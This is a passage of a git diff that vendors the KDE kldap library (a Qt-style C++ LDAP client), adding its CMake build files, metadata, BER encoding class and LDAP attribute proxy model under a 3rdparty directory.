0000000..79dd9b6 --- /dev/null +++ b/3rdparty/kldap/KF5LdapConfig.cmake.in @@ -0,0 +1,3 @@ +@PACKAGE_INIT@ + +include("${CMAKE_CURRENT_LIST_DIR}/KF5LdapTargets.cmake") diff --git a/3rdparty/kldap/README.md b/3rdparty/kldap/README.md new file mode 100644 index 0000000..7496795 --- /dev/null +++ b/3rdparty/kldap/README.md @@ -0,0 +1,3 @@ +# KLDAP # + +Allows LDAP accessing with a convenient Qt style C++ API. diff --git a/3rdparty/kldap/cmake/FindLdap.cmake b/3rdparty/kldap/cmake/FindLdap.cmake new file mode 100644 index 0000000..79e9e6d --- /dev/null +++ b/3rdparty/kldap/cmake/FindLdap.cmake @@ -0,0 +1,121 @@ +#.rst: +# FindLdap +# -------- +# +# Try to find the LDAP client libraries. +# +# This will define the following variables: +# +# ``Ldap_FOUND`` +# True if libldap is available. +# +# ``Ldap_VERSION`` +# The version of libldap +# +# ``Ldap_INCLUDE_DIRS`` +# This should be passed to target_include_directories() if +# the target is not used for linking +# +# ``Ldap_LIBRARIES`` +# The LDAP libraries (libldap + liblber if available) +# This can be passed to target_link_libraries() instead of +# the ``Ldap::Ldap`` target +# +# If ``Ldap_FOUND`` is TRUE, the following imported target +# will be available: +# +# ``Ldap::Ldap`` +# The LDAP library +# +# Since pre-5.0.0. +# +# Imported target since 5.1.41 +# +#============================================================================= +# Copyright 2006 Szombathelyi György +# Copyright 2007-2018 Laurent Montel +# +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# +# 1. Redistributions of source code must retain the copyright +# notice, this list of conditions and the following disclaimer. +# 2. Redistributions in binary form must reproduce the copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# 3. The name of the author may not be used to endorse or promote products +# derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +# IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +#============================================================================= + +find_path(Ldap_INCLUDE_DIRS NAMES ldap.h) + +if(APPLE) + find_library(Ldap_LIBRARIES NAMES LDAP + PATHS + /System/Library/Frameworks + /Library/Frameworks + ) +else() + find_library(Ldap_LIBRARY NAMES ldap) + find_library(Lber_LIBRARY NAMES lber) +endif() + +if(Ldap_LIBRARY AND Lber_LIBRARY) + set(Ldap_LIBRARIES ${Ldap_LIBRARY} ${Lber_LIBRARY}) +endif() + +if(EXISTS ${Ldap_INCLUDE_DIRS}/ldap_features.h) + file(READ ${Ldap_INCLUDE_DIRS}/ldap_features.h LDAP_FEATURES_H_CONTENT) + string(REGEX MATCH "#define LDAP_VENDOR_VERSION_MAJOR[ ]+[0-9]+" _LDAP_VERSION_MAJOR_MATCH ${LDAP_FEATURES_H_CONTENT}) + string(REGEX MATCH "#define LDAP_VENDOR_VERSION_MINOR[ ]+[0-9]+" _LDAP_VERSION_MINOR_MATCH ${LDAP_FEATURES_H_CONTENT}) + string(REGEX MATCH "#define LDAP_VENDOR_VERSION_PATCH[ ]+[0-9]+" _LDAP_VERSION_PATCH_MATCH ${LDAP_FEATURES_H_CONTENT}) + + string(REGEX REPLACE ".*_MAJOR[ ]+(.*)" "\\1" LDAP_VERSION_MAJOR ${_LDAP_VERSION_MAJOR_MATCH}) + string(REGEX REPLACE ".*_MINOR[ ]+(.*)" "\\1" LDAP_VERSION_MINOR ${_LDAP_VERSION_MINOR_MATCH}) + string(REGEX REPLACE ".*_PATCH[ ]+(.*)" "\\1" LDAP_VERSION_PATCH ${_LDAP_VERSION_PATCH_MATCH}) + + set(Ldap_VERSION "${LDAP_VERSION_MAJOR}.${LDAP_VERSION_MINOR}.${LDAP_VERSION_PATCH}") +endif() + +include(FindPackageHandleStandardArgs) + +find_package_handle_standard_args(Ldap + FOUND_VAR Ldap_FOUND + REQUIRED_VARS Ldap_LIBRARIES Ldap_INCLUDE_DIRS + VERSION_VAR Ldap_VERSION +) + +if(Ldap_FOUND AND NOT TARGET Lber::Lber) + add_library(Lber::Lber UNKNOWN IMPORTED) + set_target_properties(Lber::Lber PROPERTIES + IMPORTED_LOCATION "${Lber_LIBRARY}") +endif() + +if(Ldap_FOUND AND NOT TARGET Ldap::Ldap) + add_library(Ldap::Ldap UNKNOWN IMPORTED) + set_target_properties(Ldap::Ldap PROPERTIES + IMPORTED_LOCATION "${Ldap_LIBRARY}" + INTERFACE_INCLUDE_DIRECTORIES "${Ldap_INCLUDE_DIRS}" + INTERFACE_LINK_LIBRARIES Lber::Lber) +endif() + +mark_as_advanced(Ldap_INCLUDE_DIRS Ldap_LIBRARY Lber_LIBRARY Ldap_LIBRARIES) + +include(FeatureSummary) +set_package_properties(Ldap PROPERTIES + URL "http://www.openldap.org/" + DESCRIPTION "LDAP (Lightweight Directory Access Protocol) libraries." +) diff --git a/3rdparty/kldap/kldap.categories b/3rdparty/kldap/kldap.categories new file mode 100644 index 0000000..c21f480 --- /dev/null +++ b/3rdparty/kldap/kldap.categories @@ -0,0 +1,3 @@ +org.kde.pim.kldap kioslave (kldap) IDENTIFIER [KLDAP_LOG] +org.kde.pim.ldap kldaplib (kldap) IDENTIFIER [LDAP_LOG] + diff --git a/3rdparty/kldap/kldap.renamecategories b/3rdparty/kldap/kldap.renamecategories new file mode 100644 index 0000000..b48f8ad --- /dev/null +++ b/3rdparty/kldap/kldap.renamecategories @@ -0,0 +1,2 @@ +log_kldap org.kde.pim.kldap +log_ldap org.kde.pim.ldap diff --git a/3rdparty/kldap/metainfo.yaml b/3rdparty/kldap/metainfo.yaml new file mode 100644 index 0000000..298c919 --- /dev/null +++ b/3rdparty/kldap/metainfo.yaml @@ -0,0 +1,18 @@ +maintainer: mlaurent +description: LDAP support library +tier: 3 +type: functional +platforms: + - name: All +portingAid: false +deprecated: false +release: false +libraries: + - qmake: Ldap + cmake: "KF5::Ldap" +cmakename: KF5Ldap + +public_lib: true +group: kdepim +platforms: + - name: Linux diff --git a/3rdparty/kldap/src/CMakeLists.txt b/3rdparty/kldap/src/CMakeLists.txt new file mode 100644 index 0000000..b01b4f7 --- /dev/null +++ b/3rdparty/kldap/src/CMakeLists.txt @@ -0,0 +1,119 @@ +include(CheckFunctionExists) +include(CheckIncludeFiles) +include(CheckSymbolExists) + +check_include_files(sys/time.h HAVE_SYS_TIME_H) + +set(kldap_EXTRA_LIBS) + +if(Ldap_FOUND) + set(kldap_EXTRA_LIBS Ldap::Ldap) + if(WIN32) + set(kldap_EXTRA_LIBS ${kldap_EXTRA_LIBS} ws2_32) + endif() + set(HAVE_LDAP_H) + set(CMAKE_REQUIRED_INCLUDES lber.h ldap.h) + set(CMAKE_REQUIRED_LIBRARIES Ldap::Ldap) + check_function_exists(ldap_start_tls_s HAVE_LDAP_START_TLS_S) + check_function_exists(ldap_initialize HAVE_LDAP_INITIALIZE) + check_function_exists(ber_memfree HAVE_BER_MEMFREE) + check_function_exists(ldap_unbind_ext HAVE_LDAP_UNBIND_EXT) + check_function_exists(ldap_extended_operation HAVE_LDAP_EXTENDED_OPERATION) + check_function_exists(ldap_extended_operation_s HAVE_LDAP_EXTENDED_OPERATION_S) + check_symbol_exists(ldap_extended_operation ldap.h HAVE_LDAP_EXTENDED_OPERATION_PROTOTYPE) + check_symbol_exists(ldap_extended_operation_s ldap.h HAVE_LDAP_EXTENDED_OPERATION_S_PROTOTYPE) +endif() + +if(Sasl2_FOUND) + set(kldap_EXTRA_LIBS ${kldap_EXTRA_LIBS} Sasl2::Sasl2) +endif() + +configure_file(kldap_config.h.cmake ${CMAKE_CURRENT_BINARY_DIR}/kldap_config.h) + +########### next target ############### + +set(kldap_LIB_SRCS + ber.cpp + ldif.cpp + ldapurl.cpp + ldapserver.cpp + ldapobject.cpp + ldapconnection.cpp + ldapoperation.cpp + ldapcontrol.cpp + ldapsearch.cpp + ldapconfigwidget.cpp + ldapdn.cpp + ldapmodelnode_p.cpp + ldapmodel.cpp + ldapmodel_p.cpp + ldapstructureproxymodel.cpp + ldapattributeproxymodel.cpp +) +ecm_qt_declare_logging_category(kldap_LIB_SRCS HEADER ldap_debug.h IDENTIFIER LDAP_LOG CATEGORY_NAME org.kde.pim.ldap) + +add_library(KF5Ldap ${kldap_LIB_SRCS}) + +generate_export_header(KF5Ldap BASE_NAME kldap) + +add_library(KF5::Ldap ALIAS KF5Ldap) + +target_link_libraries(KF5Ldap +PRIVATE + KF5::Completion + Qt5::Widgets + KF5::I18n + KF5::WidgetsAddons + ${kldap_EXTRA_LIBS} +) + +target_include_directories(KF5Ldap INTERFACE "$") +target_include_directories(KF5Ldap PUBLIC "$") + +set_target_properties(KF5Ldap PROPERTIES + VERSION ${KLDAP_VERSION_STRING} + SOVERSION ${KLDAP_SOVERSION} + EXPORT_NAME Ldap +) + +install(TARGETS KF5Ldap EXPORT KF5LdapTargets ${KF5_INSTALL_TARGETS_DEFAULT_ARGS}) + +########### install files ############### + +ecm_generate_headers(KLdap_CamelCase_HEADERS + HEADER_NAMES + Ber + LdapAttributeProxyModel + LdapConfigWidget + LdapConnection + LdapControl + LdapDN + LdapModel + LdapObject + LdapOperation + LdapSearch + LdapServer + LdapDefs + LdapStructureProxyModel + LdapUrl + Ldif + PREFIX KLDAP + REQUIRED_HEADERS KLdap_HEADERS +) + +install(FILES + ${CMAKE_CURRENT_BINARY_DIR}/kldap_export.h + ${KLdap_HEADERS} + DESTINATION ${KDE_INSTALL_INCLUDEDIR_KF5}/KLDAP/kldap + COMPONENT Devel +) + +install(FILES + ${KLdap_CamelCase_HEADERS} + DESTINATION ${KDE_INSTALL_INCLUDEDIR_KF5}/KLDAP/KLDAP/ + COMPONENT Devel +) + +ecm_generate_pri_file(BASE_NAME Ldap LIB_NAME KF5Ldap FILENAME_VAR PRI_FILENAME INCLUDE_INSTALL_DIR ${KDE_INSTALL_INCLUDEDIR_KF5}/KLDAP/) +install(FILES ${PRI_FILENAME} DESTINATION ${ECM_MKSPECS_INSTALL_DIR}) + diff --git a/3rdparty/kldap/src/Messages.sh b/3rdparty/kldap/src/Messages.sh new file mode 100644 index 0000000..18480f6 --- /dev/null +++ b/3rdparty/kldap/src/Messages.sh @@ -0,0 +1,3 @@ +#! /bin/sh +$XGETTEXT *.cpp -o $podir/libkldap5.pot + diff --git a/3rdparty/kldap/src/ber.cpp b/3rdparty/kldap/src/ber.cpp new file mode 100644 index 0000000..6a41f39 --- /dev/null +++ b/3rdparty/kldap/src/ber.cpp @@ -0,0 +1,451 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ber.h" +#include "kldap_config.h" + +#include "ldap_debug.h" + +#include +#include + +#include + +#ifdef LDAP_FOUND + +#ifdef Q_OS_SOLARIS //krazy:exclude=cpp +#define BC31 1 +#endif + +#ifndef HAVE_WINLDAP_H +#include +#include +#else +#include +#endif + +#ifndef LBER_USE_DER +#define LBER_USE_DER 1 +#endif + +#ifndef HAVE_BER_MEMFREE +# ifndef HAVE_WINLDAP_H +# define ber_memfree(x) ldap_memfree(x) +# else +# define ber_memfree(x) win_ldap_memfree(x) +# endif +#endif + +#endif + +using namespace KLDAP; + +class Q_DECL_HIDDEN Ber::BerPrivate +{ +public: +#ifdef LDAP_FOUND + BerElement *mBer = nullptr; +#endif +}; + +#ifdef LDAP_FOUND +Ber::Ber() + : d(new BerPrivate) +{ + d->mBer = ber_alloc_t(LBER_USE_DER); + Q_ASSERT(d->mBer); +} + +Ber::Ber(const QByteArray &value) + : d(new BerPrivate) +{ + struct berval bv; + bv.bv_val = (char *) value.data(); + bv.bv_len = value.size(); + d->mBer = ber_init(&bv); + Q_ASSERT(d->mBer); +} + +Ber::~Ber() +{ + ber_free(d->mBer, 1); + delete d; +} + +Ber::Ber(const Ber &that) + : d(new BerPrivate) +{ + struct berval *bv; + if (ber_flatten(that.d->mBer, &bv) == 0) { + d->mBer = ber_init(bv); + ber_bvfree(bv); + } +} + +Ber &Ber::operator=(const Ber &that) +{ + if (this == &that) { + return *this; + } + + struct berval *bv; + if (ber_flatten(that.d->mBer, &bv) == 0) { + d->mBer = ber_init(bv); + ber_bvfree(bv); + } + return *this; +} + +QByteArray Ber::flatten() const +{ + QByteArray ret; + struct berval *bv; + if (ber_flatten(d->mBer, &bv) == 0) { + ret = QByteArray(bv->bv_val, bv->bv_len); + ber_bvfree(bv); + } + return ret; +} + +int Ber::printf(QString format, ...) +{ + char fmt[2]; + va_list args; + va_start(args, format); + fmt[1] = '\0'; + + int i = 0, ret = 0; + while (i < format.length()) { + fmt[0] = format[i].toLatin1(); + i++; + switch (fmt[0]) { + case 'b': + case 'e': + case 'i': { + ber_int_t v = va_arg(args, int); + ret = ber_printf(d->mBer, fmt, v); + break; + } + case 'B': { + //FIXME: QBitArray vould be logical, but how to access the bits? + QByteArray *B = va_arg(args, QByteArray *); + int Bc = va_arg(args, int); + ret = ber_printf(d->mBer, fmt, B->data(), Bc); + break; + } + case 'o': { + QByteArray *o = va_arg(args, QByteArray *); + ret = ber_printf(d->mBer, fmt, o->data(), o->size()); + break; + } + case 'O': { + QByteArray *O = va_arg(args, QByteArray *); + struct berval bv; + bv.bv_val = (char *) O->data(); + bv.bv_len = O->size(); + ret = ber_printf(d->mBer, fmt, &bv); + break; + } + break; + case 's': { + QByteArray *s = va_arg(args, QByteArray *); + ret = ber_printf(d->mBer, fmt, s->data()); + break; + } + break; + case 't': { + unsigned int t = va_arg(args, unsigned int); + ret = ber_printf(d->mBer, fmt, t); + break; + } + break; + case 'v': { + QList *v = va_arg(args, QList *); + QVarLengthArray l(v->count() + 1); + int j; + for (j = 0; j < v->count(); j++) { + l[j] = v->at(j).data(); + } + l[j] = nullptr; + ret = ber_printf(d->mBer, fmt, l.data()); + break; + } + case 'V': { + QList *V = va_arg(args, QList *); + QVarLengthArray bv(V->count() + 1); + QVarLengthArray bvs(V->count()); + int j; + for (j = 0; j < V->count(); j++) { + bvs[j].bv_val = (char *) V->at(j).data(); + bvs[j].bv_len = V->at(j).size(); + bv[j] = &bvs[j]; + } + bv[V->count()] = nullptr; + ret = ber_printf(d->mBer, fmt, bv.data()); + break; + } + case 'n': + case '{': + case '}': + case '[': + case ']': + ret = ber_printf(d->mBer, fmt); + break; + default: + qCWarning(LDAP_LOG) << "Invalid BER format parameter: '" << fmt << "'"; + ret = -1; + } + qCDebug(LDAP_LOG) << "ber_printf format:" << fmt << "ret:" << ret; + if (ret == -1) { + break; + } + } + va_end(args); + return ret; +} + +int Ber::scanf(QString format, ...) +{ + char fmt[2]; + va_list args; + va_start(args, format); + fmt[1] = '\0'; + + int i = 0, ret = 0; + while (i < format.length()) { + fmt[0] = format[i].toLatin1(); + i++; + switch (fmt[0]) { + case 'l': + case 'b': + case 'e': + case 'i': { + int *v = va_arg(args, int *); + ret = ber_scanf(d->mBer, fmt, v); + break; + } + case 'B': { + //FIXME: QBitArray vould be logical, but how to access the bits? + QByteArray *B = va_arg(args, QByteArray *); + int *Bc = va_arg(args, int *); + char *c; + ret = ber_scanf(d->mBer, fmt, &c, Bc); + if (ret != -1) { + *B = QByteArray(c, (*Bc + 7) / 8); + ber_memfree(c); + } + break; + } + case 'o': { + QByteArray *o = va_arg(args, QByteArray *); + struct berval bv; + ret = ber_scanf(d->mBer, fmt, &bv); + if (ret != -1) { + *o = QByteArray(bv.bv_val, bv.bv_len); + ber_memfree(bv.bv_val); + } + break; + } + case 'O': { + QByteArray *O = va_arg(args, QByteArray *); + struct berval *bv; + ret = ber_scanf(d->mBer, fmt, &bv); + if (ret != -1) { + *O = QByteArray(bv->bv_val, bv->bv_len); + ber_bvfree(bv); + } + break; + } + break; + case 'm': { //the same as 'O', just *bv should not be freed. + QByteArray *m = va_arg(args, QByteArray *); + struct berval *bv; + ret = ber_scanf(d->mBer, fmt, &bv); + if (ret != -1) { + *m = QByteArray(bv->bv_val, bv->bv_len); + } + break; + } + case 'a': { + QByteArray *a = va_arg(args, QByteArray *); + char *c; + ret = ber_scanf(d->mBer, fmt, &c); + if (ret != -1) { + *a = QByteArray(c); + ber_memfree(c); + } + break; + } + + case 's': { + QByteArray *s = va_arg(args, QByteArray *); + char buf[255]; + ber_len_t l = sizeof(buf); + ret = ber_scanf(d->mBer, fmt, &buf, &l); + if (ret != -1) { + *s = QByteArray(buf, l); + } + break; + } + case 't': + case 'T': { + unsigned int *t = va_arg(args, unsigned int *); + ret = ber_scanf(d->mBer, fmt, t); + break; + } + break; + case 'v': { + QList *v = va_arg(args, QList *); + char **c, **c2; + ret = ber_scanf(d->mBer, fmt, &c); + if (ret != -1 && c) { + c2 = c; + while (*c) { + v->append(QByteArray(*c)); + ber_memfree(*c); + c++; + } + ber_memfree((char *) c2); + } + break; + } + case 'V': { + QList *v = va_arg(args, QList *); + struct berval **bv, **bv2; + ret = ber_scanf(d->mBer, fmt, &bv); + if (ret != -1 && bv) { + bv2 = bv; + while (*bv) { + v->append(QByteArray((*bv)->bv_val, (*bv)->bv_len)); + bv++; + } + ber_bvecfree(bv2); + } + break; + } + case 'x': + case 'n': + case '{': + case '}': + case '[': + case ']': + ret = ber_scanf(d->mBer, fmt); + break; + default: + qCWarning(LDAP_LOG) << "Invalid BER format parameter: '" << fmt << "'"; + ret = -1; + } + + qCDebug(LDAP_LOG) << "ber_scanf format:" << fmt << "ret:" << ret; + if (ret == -1) { + break; + } + + } + va_end(args); + return ret; +} + +unsigned int Ber::peekTag(int &size) +{ + unsigned int ret; + ber_len_t len; + ret = ber_peek_tag(d->mBer, &len); + size = len; + return ret; +} + +unsigned int Ber::skipTag(int &size) +{ + unsigned int ret; + ber_len_t len; + ret = ber_skip_tag(d->mBer, &len); + size = len; + return ret; +} +#else + +Ber::Ber() + : d(new BerPrivate) +{ + qCritical() << "LDAP support not compiled"; +} + +Ber::Ber(const QByteArray &) + : d(new BerPrivate) +{ + qCritical() << "LDAP support not compiled"; +} + +Ber::~Ber() +{ + delete d; +} + +Ber::Ber(const Ber &) + : d(new BerPrivate) +{ + qCritical() << "LDAP support not compiled"; +} + +Ber &Ber::operator=(const Ber &that) +{ + if (this == &that) { + return *this; + } + qCritical() << "LDAP support not compiled"; + return *this; +} + +QByteArray Ber::flatten() const +{ + qCritical() << "LDAP support not compiled"; + return QByteArray(); +} + +int Ber::printf(const QString &format, ...) +{ + Q_UNUSED(format); + qCritical() << "LDAP support not compiled"; + return -1; +} + +int Ber::scanf(const QString &format, ...) +{ + Q_UNUSED(format); + qCritical() << "LDAP support not compiled"; + return -1; +} + +unsigned int Ber::peekTag(int &size) +{ + Q_UNUSED(size); + qCritical() << "LDAP support not compiled"; + return 0; +} + +unsigned int Ber::skipTag(int &size) +{ + Q_UNUSED(size); + qCritical() << "LDAP support not compiled"; + return 0; +} + +#endif diff --git a/3rdparty/kldap/src/ber.h b/3rdparty/kldap/src/ber.h new file mode 100644 index 0000000..176eaf4 --- /dev/null +++ b/3rdparty/kldap/src/ber.h @@ -0,0 +1,131 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_BER_H +#define KLDAP_BER_H + +#include + +#include "kldap_export.h" + +// clazy:excludeall=copyable-polymorphic + +namespace KLDAP +{ + +/** + * This class allows encoding and decoding Qt structures using Basic + * Encoding Rules. + */ +class KLDAP_EXPORT Ber +{ +public: + /** + * Constructs a Ber object. + */ + Ber(); + /** + * Constructs a Ber object from the value. + */ + explicit Ber(const QByteArray &value); + /** + * Destroys the Ber object. + */ + ~Ber(); + + Ber(const Ber &that); + Ber &operator=(const Ber &that); + + /** + * Returns the Ber object as a flat QByteArray. + */ + Q_REQUIRED_RESULT QByteArray flatten() const; + + /** + * Appends the data with the specified format to the Ber object. + * This function works like printf, except that it's appending the + * parameters, not replacing them. The allowed format characters and + * the expected parameter types are: + *
    + *
  • + * b Boolean. An int parameter should be supplied. + * A boolean element is output. + *
  • + *
  • + * e Enumeration. An int parameter should be supplied. + * An enumeration element is output. + *
  • + *
  • + * i Integer. An int parameter should be supplied. + * An integer element is output. + *
  • + *
  • + * B Bitstring. A pointer to a QByteArray which contains the + * bitstring is supplied, followed by the number of bits in the + * bitstring. A bitstring element is output. + *
  • + *
  • + * n Null. No parameter is required. A null element is output. + *
  • + *
  • + * O,o,s Octet string. A QByteArray * is supplied. + * An octet string element is output. + * Due to versatility of Qt's QByteArray, these three format + * strings are all accepts the same parameter, but using the 's' + * format the string will be encoded only to the first zero + * character (a null terminated string)! + *
  • + *
  • + * t Tag. An int specifying the tag to give the next element + * is provided. This works across calls. + *
  • + *
  • + * v,V Several octet strings. A QList* is supplied. + * Note that a construct like ’{v}’ is required to get an actual + * SEQUENCE OF octet strings. Also note that the 'v' format recognizes + * the QByteArray only to the first zero character, so it's not + * appropriate for binary data, just only for null terminated strings! + *
  • + *
  • + * { Begin sequence. No parameter is required. + *
  • + *
  • + * } End sequence. No parameter is required. + *
  • + *
  • + * [ Begin set. No parameter is required. + *
  • + *
  • + * ] End set. No parameter is required. + *
  • + *
+ */ + int printf(QString format, ...); // Passing by-value since it's used by va_start + int scanf(QString format, ...); + unsigned int peekTag(int &size); + unsigned int skipTag(int &size); + +private: + class BerPrivate; + BerPrivate *const d; +}; + +} +#endif diff --git a/3rdparty/kldap/src/kldap_config.h.cmake b/3rdparty/kldap/src/kldap_config.h.cmake new file mode 100644 index 0000000..8abd3fa --- /dev/null +++ b/3rdparty/kldap/src/kldap_config.h.cmake @@ -0,0 +1,13 @@ +#cmakedefine LDAP_FOUND +#cmakedefine SASL2_FOUND +#cmakedefine HAVE_WINLDAP_H +#cmakedefine HAVE_LDAP_H +#cmakedefine HAVE_SYS_TIME_H +#cmakedefine HAVE_LDAP_START_TLS_S +#cmakedefine HAVE_LDAP_INITIALIZE +#cmakedefine HAVE_BER_MEMFREE +#cmakedefine HAVE_LDAP_UNBIND_EXT +#cmakedefine HAVE_LDAP_EXTENDED_OPERATION +#cmakedefine HAVE_LDAP_EXTENDED_OPERATION_S +#cmakedefine HAVE_LDAP_EXTENDED_OPERATION_PROTOTYPE +#cmakedefine HAVE_LDAP_EXTENDED_OPERATION_S_PROTOTYPE diff --git a/3rdparty/kldap/src/ldapattributeproxymodel.cpp b/3rdparty/kldap/src/ldapattributeproxymodel.cpp new file mode 100644 index 0000000..cdef09e --- /dev/null +++ b/3rdparty/kldap/src/ldapattributeproxymodel.cpp @@ -0,0 +1,159 @@ +/* + This file is part of libkldap. + Copyright (c) 2006 Sean Harmer + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldapattributeproxymodel.h" +#include "ldapmodel.h" +#include "ldapmodelnode_p.h" + +#include "ldap_debug.h" +#include + +using namespace KLDAP; + + +LdapAttributeProxyModel::LdapAttributeProxyModel(QObject *parent) + : QSortFilterProxyModel(parent) +{ + +} + +LdapAttributeProxyModel::~LdapAttributeProxyModel() +{ +} + +QVariant LdapAttributeProxyModel::data(const QModelIndex &index, + int role) const +{ + // Included just in case we decide to do any special presentation of the data + // at some other point throughout the 4.x series. + return sourceModel()->data(mapToSource(index), role); +} + +bool LdapAttributeProxyModel::setData(const QModelIndex &index, + const QVariant &value, + int role) +{ + Q_UNUSED(index); + Q_UNUSED(value); + Q_UNUSED(role); + return false; +} + +bool LdapAttributeProxyModel::filterAcceptsRow(int sourceRow, + const QModelIndex &sourceParent) const +{ + QModelIndex idx = sourceModel()->index(sourceRow, 0, sourceParent); + LdapModelNode::NodeType nodeType = + static_cast( + sourceModel()->data(idx, LdapModel::NodeTypeRole).toUInt()); + return nodeType == LdapModelNode::Attr; +} + +QVariant LdapAttributeProxyModel::headerData(int section, + Qt::Orientation orientation, + int role) const +{ + if (orientation == Qt::Horizontal && role == Qt::DisplayRole) { + if (section == 0) { + return QVariant(i18n("Attribute")); + } else if (section == 1) { + return QVariant(i18n("Value")); + } + } + + return QVariant(); +} + +int LdapAttributeProxyModel::columnCount(const QModelIndex &/*parent*/) const +{ + return 2; +} + +Qt::ItemFlags LdapAttributeProxyModel::flags(const QModelIndex &index) const +{ + // Included so as not to break BC in case we wish to use this later in 4.x + return sourceModel()->flags(mapToSource(index)); +} + +bool LdapAttributeProxyModel::hasChildren(const QModelIndex &parent) const +{ + // We need to handle this carefully bacause of the filtering out of attributes + // and the lazy population approach. + LdapModel *model = static_cast(sourceModel()); + return model->hasChildrenOfType(mapToSource(parent), LdapModel::Attribute); +} + +QModelIndex LdapAttributeProxyModel::mapFromSource(const QModelIndex &sourceIndex) const +{ + return QSortFilterProxyModel::mapFromSource(sourceIndex); +} + +QModelIndex LdapAttributeProxyModel::mapToSource(const QModelIndex &proxyIndex) const +{ + return QSortFilterProxyModel::mapToSource(proxyIndex); +} + +bool LdapAttributeProxyModel::insertRows(int row, int count, + const QModelIndex &parent) +{ + Q_UNUSED(row); + Q_UNUSED(count); + Q_UNUSED(parent); + return false; +} + +bool LdapAttributeProxyModel::removeRows(int row, int count, + const QModelIndex &parent) +{ + Q_UNUSED(row); + Q_UNUSED(count); + Q_UNUSED(parent); + return false; +} + +void LdapAttributeProxyModel::sort(int column, Qt::SortOrder order) +{ + Q_UNUSED(column); + Q_UNUSED(order); +} + +Qt::DropActions LdapAttributeProxyModel::supportedDropActions() const +{ + return Qt::MoveAction; +} + +QMimeData *LdapAttributeProxyModel::mimeData(const QModelIndexList &indexes) const +{ + Q_UNUSED(indexes); + return nullptr; +} + +bool LdapAttributeProxyModel::dropMimeData(const QMimeData *data, Qt::DropAction action, + int row, int column, const QModelIndex &parent) +{ + /** \todo Implement drag and drop for LdapModel */ + Q_UNUSED(data); + Q_UNUSED(action); + Q_UNUSED(row); + Q_UNUSED(column); + Q_UNUSED(parent); + return false; +} + diff --git a/3rdparty/kldap/src/ldapattributeproxymodel.h b/3rdparty/kldap/src/ldapattributeproxymodel.h new file mode 100644 index 0000000..f43add9 --- /dev/null +++ b/3rdparty/kldap/src/ldapattributeproxymodel.h @@ -0,0 +1,95 @@ +/* + This file is part of libkldap. + Copyright (c) 2006 Sean Harmer + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDAPATTRIBUTEPROXYMODEL_H +#define KLDAP_LDAPATTRIBUTEPROXYMODEL_H + +#include + +#include "kldap_export.h" + +namespace KLDAP +{ + +class KLDAP_EXPORT LdapAttributeProxyModel : public QSortFilterProxyModel +{ + Q_OBJECT +public: + explicit LdapAttributeProxyModel(QObject *parent = nullptr); + ~LdapAttributeProxyModel() override; + + Q_REQUIRED_RESULT QVariant data(const QModelIndex &index, int role) const override; + /** + * Reimplemented from QAbstractItemModel::setData(). This is a placeholder for when + * LdapAttributeProxyModel beomes writeable and always returns false. + */ + Q_REQUIRED_RESULT bool setData(const QModelIndex &index, + const QVariant &value, + int role = Qt::EditRole) override; + Q_REQUIRED_RESULT bool filterAcceptsRow(int sourceRow, const QModelIndex &sourceParent) const override; + Q_REQUIRED_RESULT QVariant headerData(int section, 